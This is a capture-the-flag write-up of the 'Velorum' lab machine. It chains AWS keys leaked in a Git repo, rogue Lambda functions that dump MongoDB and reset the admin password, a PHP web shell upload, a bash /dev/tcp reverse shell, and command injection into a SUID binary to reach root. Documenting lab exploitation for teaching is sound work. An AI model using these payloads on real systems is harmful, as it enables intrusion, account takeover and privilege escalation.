Post

Velorum

Velorum

Velorum

Summary

Velorum is a Hard-rated machine that demonstrates a complex multi-stage attack chain involving subdomain enumeration, Git repository analysis, AWS Lambda exploitation, MongoDB manipulation, and binary exploitation. The initial compromise was achieved through subdomain discovery revealing a Git repository with exposed AWS credentials. After gaining access to the AWS Lambda environment, MongoDB database manipulation was used to change admin passwords and gain web application access. A file upload vulnerability allowed for web shell deployment, leading to initial system access. Finally, a SUID binary analysis revealed a command injection vulnerability that enabled privilege escalation to root.


Table of Contents

  1. Initial Enumeration
  2. Web Application Exploration
  3. Git Repository Analysis
  4. AWS Lambda Enumeration
  5. MongoDB Database Manipulation
  6. Web Application Access
  7. SUID Binary Analysis
  8. Privilege Escalation
  9. Conclusion

Initial Enumeration

We begin with a comprehensive Nmap scan to identify open ports and services:

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sudo nmap -Pn -oN nmap -sVC -p- -T5 172.16.13.129

Command Breakdown:

  • -sV: Service version detection
  • -sC: Default NSE scripts
  • -Pn: Skip host discovery (treat all hosts as online)
  • -p-: Scan all 65535 ports
  • -T5: Aggressive timing template
  • -oN nmap: Output to file in normal format

Results:

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22/tcp open  ssh     syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack nginx 1.24.0 (Ubuntu)

Analysis:

  • Port 22 (SSH): Standard OpenSSH service running on Ubuntu
  • Port 80 (HTTP): Nginx web server

Host Configuration:

Quick tests for enumerating possible DNS resolution:

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curl -I 172.16.13.129
HTTP/1.1 301 Moved Permanently
Server: nginx/1.24.0 (Ubuntu)
Date: Fri, 17 Oct 2025 23:41:02 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: http://velorum.hc/

The server redirects to velorum.hc, indicating a virtual host configuration. We add this to our hosts file:

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echo '172.16.13.129 velorum.hc' | sudo tee -a /etc/hosts

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Command: ffuf -u http://velorum.hc -H 'Host: FUZZ.velorum.hc' -w /usr/share/seclists/Discovery/DNS/n0kovo_subdomains.txt -ic -c -fs 178 -mc all

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://velorum.hc
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/n0kovo_subdomains.txt
 :: Header           : Host: FUZZ.velorum.hc
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response size: 178
________________________________________________

cloud                   [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 2171ms]
git                     [Status: 200, Size: 13846, Words: 1099, Lines: 246, Duration: 153ms]
vault                   [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 169ms]
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cat /etc/hosts | grep velorum
172.16.13.129 velorum.hc git.velorum.hc cloud.velorum.hc vault.velorum.hc

Web Application Exploration

Main Application (velorum.hc)

Entering the main site reveals a site with a sign up feature: Velorum Login Form

Vault Application (vault.velorum.hc)

The vault subdomain presents a login request: Vault Login Request

Git Repository (git.velorum.hc)

The Git subdomain hosts a Gitea instance: Gitea Instance

Key Discovery: We can access the vault app repository source code without authentication: Vault App Repository

Git Repository Analysis

Exposed AWS Credentials

The repository contains a credentials.json file with AWS credentials:

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➜  vault_app git:(main) cat credentials.json
{
    "aws_access_key_id": "AKIA3F4D2QWE7ZX1GQNL",
    "aws_secret_access_key": "9dTx3i7+pA89LU7sDkEjfM/NyzRmRY+xu4HP02Gb",
    "region": "us-east-1"
}

Application Architecture Analysis

Examining the routes.js file reveals the application architecture:

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import express from 'express'
import bcrypt from 'bcrypt'
import { openDb } from './db.js'
import fs from 'fs'
import AWS from 'aws-sdk'
import path from 'path'

const router = express.Router()

const credentialsPath = path.join(process.cwd(), 'credentials.json')
const creds = JSON.parse(fs.readFileSync(credentialsPath, 'utf8'))

const lambda = new AWS.Lambda({
  endpoint: 'http://cloud.velorum.hc',
  region: creds.region,
  accessKeyId: creds.aws_access_key_id,
  secretAccessKey: creds.aws_secret_access_key,
})

Key Findings:

  • The application uses AWS Lambda with a custom endpoint (cloud.velorum.hc)
  • AWS credentials are hardcoded in the repository
  • The application appears to be a vault/secret management system

AWS Lambda Enumeration

Configuring AWS CLI

We configure the AWS CLI with the discovered credentials:

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➜  vault_app git:(main) aws configure
AWS Access Key ID [****************GQNL]: AKIA3F4D2QWE7ZX1GQNL
AWS Secret Access Key [****************02Gb]: 9dTx3i7+pA89LU7sDkEjfM/NyzRmRY+xu4HP02Gb
Default region name [us-east-1]: us-east-1
Default output format [json]: json

Testing AWS Connection

We test the connection to the custom AWS endpoint:

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➜  vault_app git:(main) aws sts get-caller-identity --endpoint-url http://cloud.velorum.hc
{
    "UserId": "AKIAIOSFODNN7EXAMPLE",
    "Account": "000000000000",
    "Arn": "arn:aws:iam::000000000000:root"
}

Analysis: The connection is successful, confirming we have access to the AWS Lambda environment.

AWS Service Enumeration

We perform a comprehensive enumeration of available AWS services:

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# S3 Buckets
➜  vault_app git:(main) aws s3api list-buckets --endpoint-url http://cloud.velorum.hc
{
    "Buckets": [],
    "Owner": {
        "DisplayName": "webfile",
        "ID": "75aa57f09aa0c8caeab4f8c24e99d10f8e7faeebf76c078efc7c6caea54ba06a"
    },
    "Prefix": null
}

# Lambda Functions
➜  vault_app git:(main) aws lambda list-functions --endpoint-url http://cloud.velorum.hc
{
    "Functions": []
}

# EC2 Instances (disabled)
➜  vault_app git:(main) aws ec2 describe-instances --endpoint-url http://cloud.velorum.hc
An error occurred (InternalFailure) when calling the DescribeInstances operation: Service 'ec2' is not enabled.

# Secrets Manager (disabled)
➜  vault_app git:(main) aws secretsmanager list-secrets --endpoint-url http://cloud.velorum.hc
An error occurred (InternalFailure) when calling the ListSecrets operation: Service 'secretsmanager' is not enabled.

# Systems Manager (disabled)
➜  vault_app git:(main) aws ssm describe-parameters --endpoint-url http://cloud.velorum.hc
An error occurred (InternalFailure) when calling the DescribeParameters operation: Service 'ssm' is not enabled.

# IAM (disabled)
➜  vault_app git:(main) aws iam list-users --endpoint-url http://cloud.velorum.hc
An error occurred (InternalFailure) when calling the ListUsers operation: Service 'iam' is not enabled.

Analysis:

  • S3 and Lambda services are available
  • EC2, Secrets Manager, Systems Manager, and IAM are disabled
  • This appears to be a limited AWS environment (possibly LocalStack or similar)

Lambda Function Discovery

From the routes.js analysis, we discover the application references a Lambda function called VaultFunction:

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router.get('/vault', requireLogin, async (req, res) => {
  try {
    const result = await lambda
      .invoke({
        FunctionName: 'VaultFunction',
        Payload: JSON.stringify({}),
      })
      .promise()

    const response = JSON.parse(result.Payload)
    const vaultData = JSON.parse(response.body)
    console.log(vaultData)

    res.render('vault', { vaultData })
  } catch (err) {
    console.error('Error invoking Lambda:', err)
    res.status(500).send('Error fetching data from Vault')
  }
})

Key Findings:

  • The application invokes a VaultFunction Lambda function
  • The function returns vault data that gets rendered in the web interface
  • This suggests the Lambda function has access to sensitive vault data

Lambda Function Enumeration

We validate the existence of the VaultFunction and retrieve its configuration:

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➜  vault_app git:(main) ✗ aws lambda get-function \
  --function-name VaultFunction \
  --endpoint-url http://cloud.velorum.hc/
{
    "Configuration": {
        "FunctionName": "VaultFunction",
        "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:VaultFunction",
        "Runtime": "nodejs18.x",
        "Role": "arn:aws:iam::000000000000:role/lambda-execute-role",
        "Handler": "handler.handler",
        "CodeSize": 1855002,
        "Description": "",
        "Timeout": 3,
        "MemorySize": 128,
        "LastModified": "2025-10-18T00:04:34.671471+0000",
        "CodeSha256": "FTugeXGPfBKHh0l+gj6VwEgeIRrP07VSUOhJvqzPUjw=",
        "Version": "$LATEST",
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "RevisionId": "408fd354-5892-4ff6-bd3f-41d6228e2728",
        "State": "Active",
        "LastUpdateStatus": "Successful",
        "PackageType": "Zip",
        "Architectures": [
            "x86_64"
        ],
        "EphemeralStorage": {
            "Size": 512
        },
        "SnapStart": {
            "ApplyOn": "None",
            "OptimizationStatus": "Off"
        },
        "RuntimeVersionConfig": {
            "RuntimeVersionArn": "arn:aws:lambda:us-east-1::runtime:8eeff65f6809a3ce81507fe733fe09b835899b99481ba22fd75b5a7338290ec1"
        },
        "LoggingConfig": {
            "LogFormat": "Text",
            "LogGroup": "/aws/lambda/VaultFunction"
        }
    },
    "Code": {
        "RepositoryType": "S3",
        "Location": "http://s3.localhost.localstack.cloud:4566/awslambda-us-east-1-tasks/snapshots/000000000000/VaultFunction-ba069d56-c9ff-4cb5-9252-c858b12abccb?AWSAccessKeyId=949334387222&Signature=U1ddgF2s8zwrsFun%2BZUU94tCqA8%3D&Expires=1760750115"
    }
}

Key Findings:

  • The function exists and is active
  • It’s a Node.js 18.x runtime function
  • The code is stored in S3 and accessible via a signed URL
  • Function size is 1.8MB, indicating substantial code

Lambda Function Code Extraction

We download the Lambda function code using the signed URL:

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➜  vault_app git:(main) ✗ curl -sS -L \
  "http://cloud.velorum.hc/awslambda-us-east-1-tasks/snapshots/000000000000/VaultFunction-ba069d56-c9ff-4cb5-9252-c858b12abccb?AWSAccessKeyId=949334387222&Signature=U1ddgF2s8zwrsFun%2BZUU94tCqA8%3D&Expires=1760750115" \
  -o VaultFunction.zip

We examine the contents of the downloaded archive:

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➜  vault_app git:(main) ✗ 7z l VaultFunction.zip

7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
 64-bit locale=en_US.UTF-8 Threads:12 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 1855002 bytes (1812 KiB)

Listing archive: VaultFunction.zip

--
Path = VaultFunction.zip
Type = zip
Physical Size = 1855002

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2025-06-27 15:23:23 .....          800          414  handler.js
2025-06-27 14:41:06 D....            0            0  node_modules
2025-06-27 14:41:06 D....            0            0  node_modules/sparse-bitfield
2025-06-27 14:41:06 .....         2303          758  node_modules/sparse-bitfield/index.js
2025-06-27 14:41:06 .....           69           44  node_modules/sparse-bitfield/.travis.yml
2025-06-27 14:41:06 .....          732          338  node_modules/sparse-bitfield/package.json
2025-06-27 14:41:06 .....         1079          635  node_modules/sparse-bitfield/LICENSE
2025-06-27 14:41:06 .....           13           13  node_modules/sparse-bitfield/.npmignore
2025-06-27 14:41:06 .....         1976          494  node_modules/sparse-bitfield/test.js
2025-06-27 14:41:06 .....         1773          816  node_modules/sparse-bitfield/README.md
2025-06-27 14:41:06 D....            0            0  node_modules/tr46
2025-06-27 14:41:06 .....         1076          629  node_modules/tr46/LICENSE.md
2025-06-27 14:41:06 .....         8590         2573  node_modules/tr46/index.js
2025-06-27 14:41:06 D....            0            0  node_modules/tr46/lib
2025-06-27 14:41:06 .....       141626        45680  node_modules/tr46/lib/mappingTable.json
2025-06-27 14:41:06 .....          123          110  node_modules/tr46/lib/statusMapping.js
2025-06-27 14:41:06 .....        71290        12521  node_modules/tr46/lib/regexes.js
2025-06-27 14:41:06 .....         1009          498  node_modules/tr46/package.json
2025-06-27 14:41:06 .....         2188          623  node_modules/tr46/README.md
2025-06-27 14:41:06 D....            0            0  node_modules/memory-pager
2025-06-27 14:41:06 .....         3731         1113  node_modules/memory-pager/index.js
2025-06-27 14:41:06 .....           43           35  node_modules/memory-pager/.travis.yml
2025-06-27 14:41:06 .....          595          283  node_modules/memory-pager/package.json
2025-06-27 14:41:06 .....         1079          635  node_modules/memory-pager/LICENSE
2025-06-27 14:41:06 .....         1444          325  node_modules/memory-pager/test.js
2025-06-27 14:41:06 .....         1243          632  node_modules/memory-pager/README.md
2025-06-27 14:41:05 D....            0            0  node_modules/@mongodb-js
2025-06-27 14:41:06 D....            0            0  node_modules/@mongodb-js/saslprep
2025-06-27 14:41:06 .....         2673          992  node_modules/@mongodb-js/saslprep/package.json
2025-06-27 14:41:06 .....         1060          626  node_modules/@mongodb-js/saslprep/LICENSE
2025-06-27 14:41:06 D....            0            0  node_modules/@mongodb-js/saslprep/dist
2025-06-27 14:41:06 .....          389          166  node_modules/@mongodb-js/saslprep/dist/code-points-src.d.ts
2025-06-27 14:41:06 .....          541          310  node_modules/@mongodb-js/saslprep/dist/index.d.ts
2025-06-27 14:41:06 .....         1168          479  node_modules/@mongodb-js/saslprep/dist/memory-code-points.js
2025-06-27 14:41:06 .....          244          163  node_modules/@mongodb-js/saslprep/dist/node.d.ts.map
2025-06-27 14:41:06 .....          818          336  node_modules/@mongodb-js/saslprep/dist/memory-code-points.js.map
2025-06-27 14:41:06 .....          192          138  node_modules/@mongodb-js/saslprep/dist/code-points-data-browser.d.ts.map
2025-06-27 14:41:06 .....          370          207  node_modules/@mongodb-js/saslprep/dist/browser.js.map
2025-06-27 14:41:06 .....         2997          960  node_modules/@mongodb-js/saslprep/dist/index.js
2025-06-27 14:41:06 .....         2894         1903  node_modules/@mongodb-js/saslprep/dist/code-points-data.js
2025-06-27 14:41:06 .....          214          152  node_modules/@mongodb-js/saslprep/dist/memory-code-points.d.ts.map
2025-06-27 14:41:06 .....          402          198  node_modules/@mongodb-js/saslprep/dist/util.js.map
2025-06-27 14:41:06 .....         2988          801  node_modules/@mongodb-js/saslprep/dist/index.js.map
2025-06-27 14:41:06 .....          161          125  node_modules/@mongodb-js/saslprep/dist/browser.d.ts.map
2025-06-27 14:41:06 .....          651          302  node_modules/@mongodb-js/saslprep/dist/node.js
2025-06-27 14:41:06 .....          162          134  node_modules/@mongodb-js/saslprep/dist/browser.d.ts
2025-06-27 14:41:06 .....          294          181  node_modules/@mongodb-js/saslprep/dist/node.d.ts
2025-06-27 14:41:06 .....          120          105  node_modules/@mongodb-js/saslprep/dist/code-points-data.d.ts
2025-06-27 14:41:06 .....          101           90  node_modules/@mongodb-js/saslprep/dist/util.d.ts
2025-06-27 14:41:06 .....         3984         1391  node_modules/@mongodb-js/saslprep/dist/generate-code-points.js
2025-06-27 14:41:06 .....          302          215  node_modules/@mongodb-js/saslprep/dist/util.js
2025-06-27 14:41:06 .....          116          103  node_modules/@mongodb-js/saslprep/dist/code-points-data-browser.d.ts
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2025-06-27 14:41:06 D....            0            0  node_modules/mongodb
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2025-06-27 14:41:06 .....          385          218  node_modules/mongodb/lib/beta.js.map
2025-06-27 14:41:06 D....            0            0  node_modules/mongodb/lib/gridfs
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2025-06-27 14:41:06 .....        10654         2620  node_modules/mongodb/lib/mongo_client.js.map
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2025-06-27 14:41:06 D....            0            0  node_modules/bson
2025-06-27 14:41:06 .....        11357         3948  node_modules/bson/LICENSE.md
2025-06-27 14:41:06 D....            0            0  node_modules/bson/src
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2025-06-27 14:41:06 D....            0            0  node_modules/bson/src/parser
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2025-06-27 14:41:06 .....        32091         4811  node_modules/bson/src/parser/serializer.ts
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2025-06-27 14:41:06 .....        22195         5080  node_modules/bson/src/parser/deserializer.ts
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2025-06-27 14:41:06 .....          527          261  node_modules/bson/src/min_key.ts
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2025-06-27 14:41:06 D....            0            0  node_modules/bson/src/utils
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2025-06-27 14:41:06 D....            0            0  node_modules/bson/vendor
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2025-06-27 14:41:06 .....          925          462  node_modules/bson/vendor/base64/package.json
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2025-06-27 14:41:06 .....         4030         1403  node_modules/bson/package.json
2025-06-27 14:41:06 D....            0            0  node_modules/bson/etc
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2025-06-27 14:41:06 .....        13385         4036  node_modules/bson/README.md
2025-06-27 14:41:06 D....            0            0  node_modules/mongodb-connection-string-url
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2025-06-27 14:41:06 .....         1782          683  node_modules/mongodb-connection-string-url/package.json
2025-06-27 14:41:06 .....        10759         3722  node_modules/mongodb-connection-string-url/LICENSE
2025-06-27 14:41:06 .....          264          128  node_modules/mongodb-connection-string-url/.esm-wrapper.mjs
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------------------- ----- ------------ ------------  ------------------------
2025-06-27 15:23:23            7704886      1711320  579 files, 64 folders
➜  vault_app git:(main)

MongoDB Database Manipulation

Lambda Function Code Modification

We modify the Lambda function code to dump all MongoDB databases and collections:

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// handler.js - dump every MongoDB document
const { MongoClient } = require('mongodb');

const uri = 'mongodb://172.25.0.10:27017';

exports.handler = async () => {
  const client = new MongoClient(uri, { useUnifiedTopology: true });

  try {
    await client.connect();
    const admin = client.db().admin();
    const dbs = (await admin.listDatabases()).databases || [];

    const dump = {};

    for (const { name } of dbs) {
      const db = client.db(name);
      const collections = await db.listCollections().toArray();

      dump[name] = {};

      for (const { name: collName } of collections) {
        try {
          const docs = await db.collection(collName).find({}).toArray();
          dump[name][collName] = docs;       // store full docs, not just keys
        } catch (e) {
          dump[name][collName] = { error: e.message };
        }
      }
    }

    return {
      statusCode: 200,
      body: JSON.stringify(dump, null, 2),
      headers: { 'Content-Type': 'application/json' },
    };
  } catch (err) {
    return { statusCode: 500, body: JSON.stringify({ error: err.message }) };
  } finally {
    await client.close().catch(() => {});
  }
};

Key Findings:

  • The Lambda function connects to MongoDB at 172.25.0.10:27017
  • We can modify the function to dump all databases and collections
  • This reveals the MongoDB connection string and database structure

Deploying Modified Lambda Function

We package and deploy our modified Lambda function:

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zip -r ../mongo-full-enum.zip handler.js node_modules package.json
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aws lambda create-function \
  --function-name MongoFullEnum \
  --runtime nodejs18.x \
  --role arn:aws:iam::000000000000:role/lambda-execute-role \
  --handler handler.handler \
  --zip-file fileb://mongo-full-enum.zip \
  --timeout 15 \
  --memory-size 256 \
  --endpoint-url http://cloud.velorum.hc

Executing Database Dump

We invoke the function to dump all MongoDB data:

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aws lambda invoke \
  --function-name MongoFullEnum \
  --endpoint-url http://cloud.velorum.hc \
  output.json 

Database Analysis

We analyze the dumped MongoDB data:

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➜  Velorum cat output.json| jq '.body' -r | jq '.|keys'
[
  "admin",
  "config",
  "local",
  "velorum_app",
  "velorum_vault"
]

Key Discovery: We find the velorum_app database contains user credentials:

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➜  Velorum cat output.json| jq '.body' -r | jq '.velorum_app'
{
  "users": [
    {
      "_id": "685eb82b3620a293752fe230",
      "email": "admin@velorum.hc",
      "password": "$2y$12$utfeLO161spkah9qFcGqvuGOfqZRJ6J5SmDpdVJrE6a2bE73JCbbS",
      "created_at": "2025-07-10T15:59:20.165Z",
      "name": "Administrator",
      "profile_image": null
    }
  ]
}

Analysis:

  • We discover an admin user with email admin@velorum.hc
  • The password hash is $2y$12$utfeLO161spkah9qFcGqvuGOfqZRJ6J5SmDpdVJrE6a2bE73JCbbS
  • This is a bcrypt hash that we cannot easily crack

Password Hash Generation

Since we cannot crack the existing hash, we generate a new bcrypt hash for a known password:

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  VaultFunction uv run --with bcrypt python - <<'PY'
import bcrypt
pw = b'P@$$word123!'
h = bcrypt.hashpw(pw, bcrypt.gensalt(12))
print(h.decode())
PY

$2b$12$o8fu0hQLd/2zUNNK.qiAL.XfyExZoLZ/sH8J/2f2r3rroVDH9aANG

Strategy: Instead of cracking the existing hash, we’ll modify the database to use our known password hash.

Creating Password Change Handler

We create a new Lambda function to update the admin password in the database:

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  VaultFunction cat handler.js
// updatePassword.js - Update admin password in velorum_app database
const { MongoClient } = require('mongodb');

const uri = 'mongodb://172.25.0.10:27017';

exports.handler = async () => {
  const client = new MongoClient(uri, { useUnifiedTopology: true });

  try {
    await client.connect();

    // Connect to the velorum_app database
    const db = client.db('velorum_app');
    const usersCollection = db.collection('users');

    // Update the admin user's password
    const result = await usersCollection.updateOne(
      { email: 'admin@velorum.hc' }, // Find the admin user by email
      {
        $set: {
          password: '$2b$12$sa57GL5wfD.nXav7W6c77eP/C0vbH4WoNcXc50qKISQvFthkSQwR2'
        }
      }
    );

    if (result.matchedCount === 0) {
      return {
        statusCode: 404,
        body: JSON.stringify({
          error: 'Admin user not found',
          message: 'No user found with email admin@velorum.hc'
        }),
        headers: { 'Content-Type': 'application/json' }
      };
    }

    if (result.modifiedCount === 0) {
      return {
        statusCode: 200,
        body: JSON.stringify({
          message: 'Password was already set to the new value',
          matchedCount: result.matchedCount,
          modifiedCount: result.modifiedCount
        }),
        headers: { 'Content-Type': 'application/json' }
      };
    }

    return {
      statusCode: 200,
      body: JSON.stringify({
        message: 'Admin password updated successfully',
        matchedCount: result.matchedCount,
        modifiedCount: result.modifiedCount
      }),
      headers: { 'Content-Type': 'application/json' }
    };

  } catch (err) {
    return {
      statusCode: 500,
      body: JSON.stringify({
        error: 'Database operation failed',
        message: err.message
      }),
      headers: { 'Content-Type': 'application/json' }
    };
  } finally {
    await client.close().catch(() => {});
  }
};

Key Features:

  • Connects to the MongoDB database
  • Updates the admin user’s password hash
  • Provides detailed response about the operation
  • Handles error cases gracefully

Deploying Password Change Function

We package and deploy the password change function:

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zip -r ../mongo-change-admin-pass.zip handler.js node_modules package.json
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➜  Velorum aws lambda create-function \
  --function-name ChangePass \
  --runtime nodejs18.x \
  --role arn:aws:iam::000000000000:role/lambda-execute-role \
  --handler handler.handler \
  --zip-file fileb://mongo-change-admin-pass.zip \
  --timeout 15 \
  --memory-size 256 \
  --endpoint-url http://cloud.velorum.hc

Executing Password Change

We invoke the function to change the admin password:

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➜  Velorum aws lambda invoke \
  --function-name ChangePass \
  --endpoint-url http://cloud.velorum.hc \
  output.json && jq . output.json

{
    "StatusCode": 200,
    "ExecutedVersion": "$LATEST"
}
{
  "statusCode": 200,
  "body": "{\"message\":\"Admin password updated successfully\",\"matchedCount\":1,\"modifiedCount\":1}",
  "headers": {
    "Content-Type": "application/json"
  }
}

Success: The admin password has been successfully updated in the database.

Web Application Access

Successful Login

We can now login to velorum.hc with our new password for admin@velorum.hc: Admin Login Success

File Upload Vulnerability Discovery

We discover that the application allows profile picture uploads: Profile Picture Upload

Web Shell Upload

We can upload a PHP web shell by appending .php to the filename:

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<?php system($_GET[0]);?>

File Upload Process:

  1. Upload a file with .php extension
  2. The application stores it in a web-accessible directory
  3. We can access the file and execute commands

Source Code File Location Disclosure

Webshell Command Execution

Initial System Access

We gain a shell using a reverse shell payload:

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bash -c "bash -i >& /dev/tcp/ip/port 0>&1"

Reverse Shell Obtained

SUID Binary Analysis

Discovering SUID Binary

We discover a SUID binary called vaultauth: SUID Binary Discovery

Binary Transfer and Analysis

We transfer the binary to our host machine for analysis: Binary Transfer

Ghidra Reverse Engineering

Opening the binary with Ghidra reveals the program logic:

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undefined8 FUN_0010130c(void)
{
  int iVar1;
  size_t sVar2;
  long in_FS_OFFSET;
  char token_input [64];
  char local_118 [64];
  char local_d8 [64];
  char local_98 [136];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Enter your encrypted token: ");
  fgets(token_input,0x40,stdin);
  sVar2 = strcspn(token_input,"\n");
  token_input[sVar2] = '\0';
  strncpy(local_118,token_input,0x40);
  sVar2 = strlen(local_118);
  FUN_00101289(local_118,sVar2 & 0xffffffff);
  iVar1 = strncmp(local_118,&DAT_00104020,10);
  if (iVar1 == 0) {
    printf("Access granted! Enter username to verify: ");
    fgets(local_d8,0x40,stdin);
    sVar2 = strcspn(local_d8,"\n");
    local_d8[sVar2] = '\0';
    setuid(0);
    snprintf(local_98,0x80,"grep \'^%s:\' /etc/passwd",local_d8);
    system(local_98);
  }
  else {
    puts("Invalid token.");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

void FUN_00101289(long param_1,int param_2)
{
  int local_c;
  
  for (local_c = 0; local_c < param_2; local_c = local_c + 1) {
    *(byte *)(param_1 + local_c) = *(byte *)(param_1 + local_c) ^ (&DAT_00104010)[local_c % 10];
  }
  return;
}

Key Findings:

  • The program requests an encrypted token
  • It performs XOR decryption on the input
  • If the decrypted token matches a hardcoded value, it grants access
  • After successful authentication, it executes setuid(0) and runs a system command
  • The system command is vulnerable to command injection via the username parameter

Token Decryption Analysis

We reverse engineer the XOR encryption to find the correct token:

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'''This script is designed to find the original encrypted token by reversing the XOR encryption found in the provided C code.

The C code performs the following operation:
encrypted_token[i] ^ key[i % 10] = decrypted_token[i]

Since XOR is its own inverse, to find the original encrypted token, we can perform:
decrypted_token[i] ^ key[i % 10] = encrypted_token[i]

This script will take the known decrypted token (from DAT_00104020) and the XOR key (from DAT_00104010) to calculate the original encrypted token that needs to be provided to the program.
'''

# The 10-byte XOR key from memory address DAT_00104010
XOR_KEY = bytearray.fromhex("2233445566778899aabb")

# The 10-byte expected decrypted string from memory address DAT_00104020
DECRYPTED_TOKEN = bytearray.fromhex("6f587c040e00b1f09bee")

def find_encrypted_token(key, decrypted_token):
    encrypted_token = bytearray()
    for i in range(len(decrypted_token)):
        encrypted_byte = decrypted_token[i] ^ key[i % len(key)]
        encrypted_token.append(encrypted_byte)
    return encrypted_token

# Calculate the original encrypted token
encrypted_token = find_encrypted_token(XOR_KEY, DECRYPTED_TOKEN)

print(f"Calculated Encrypted Token (Hex): {encrypted_token.hex()}")
print(f"Calculated Encrypted Token (ASCII): {encrypted_token.decode(errors='ignore')}")

Command Injection Vulnerability

The program constructs a command using snprintf:

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snprintf(local_98,0x80,"grep \'^%s:\' /etc/passwd",local_d8);

We can escape this command by injecting shell metacharacters. By sending test' /any/file/for/grep; command ; echo ', the command becomes:

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grep 'test' /any/file/for/grep; 
command;
echo '' /etc/passwd

Privilege Escalation

Exploiting the SUID Binary

We execute the vaultauth binary with our calculated token and command injection payload:

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www-data@ip-172-16-13-129:~/html/config$ vaultauth
Enter your encrypted token: Mk8Qhw9i1U
Access granted! Enter username to verify: a' /etc/passwd ; /bin/bash ; echo '
root@ip-172-16-13-129:~/html/config# cd /root
root@ip-172-16-13-129:/root# ls
Config  gitea  root.txt  snap
root@ip-172-16-13-129:/root#

Success: We have successfully escalated to root privileges!

Access Gained

  • Web Application: Admin access to velorum.hc
  • AWS Lambda: Full control over Lambda functions
  • MongoDB: Database manipulation capabilities
  • System Access: Root privileges on the target machine

Attack Chain Summary

  1. Subdomain Enumeration → Discovered Git repository
  2. Git Repository Analysis → Found AWS credentials
  3. AWS Lambda Exploitation → Modified function code
  4. MongoDB Manipulation → Changed admin password
  5. Web Application Access → Logged in as admin
  6. File Upload Vulnerability → Uploaded web shell
  7. SUID Binary Exploitation → Escalated to root

Conclusion

Velorum demonstrates a sophisticated attack chain involving multiple technologies and attack vectors. The machine showcases:

Key Attack Vectors:

  1. Subdomain Enumeration - Discovered hidden services and attack surface
  2. Git Repository Exposure - Found hardcoded credentials in source code
  3. AWS Lambda Exploitation - Modified function code to manipulate databases
  4. MongoDB Database Manipulation - Changed user passwords directly in the database
  5. File Upload Vulnerability - Bypassed file type restrictions to upload web shells
  6. SUID Binary Exploitation - Reverse engineered binary and exploited command injection

Technical Highlights:

  • Multi-service architecture involving web applications, cloud services, and databases
  • Credential exposure through hardcoded secrets in version control
  • Database manipulation through cloud function exploitation
  • Binary reverse engineering and command injection exploitation
  • Privilege escalation through SUID binary abuse

This machine represents an excellent learning platform for understanding:

  • Cloud security (AWS Lambda, MongoDB)
  • Web application security (file upload vulnerabilities)
  • Binary exploitation (reverse engineering, command injection)
  • System administration (SUID binaries, privilege escalation)
This post is licensed under CC BY 4.0 by the author.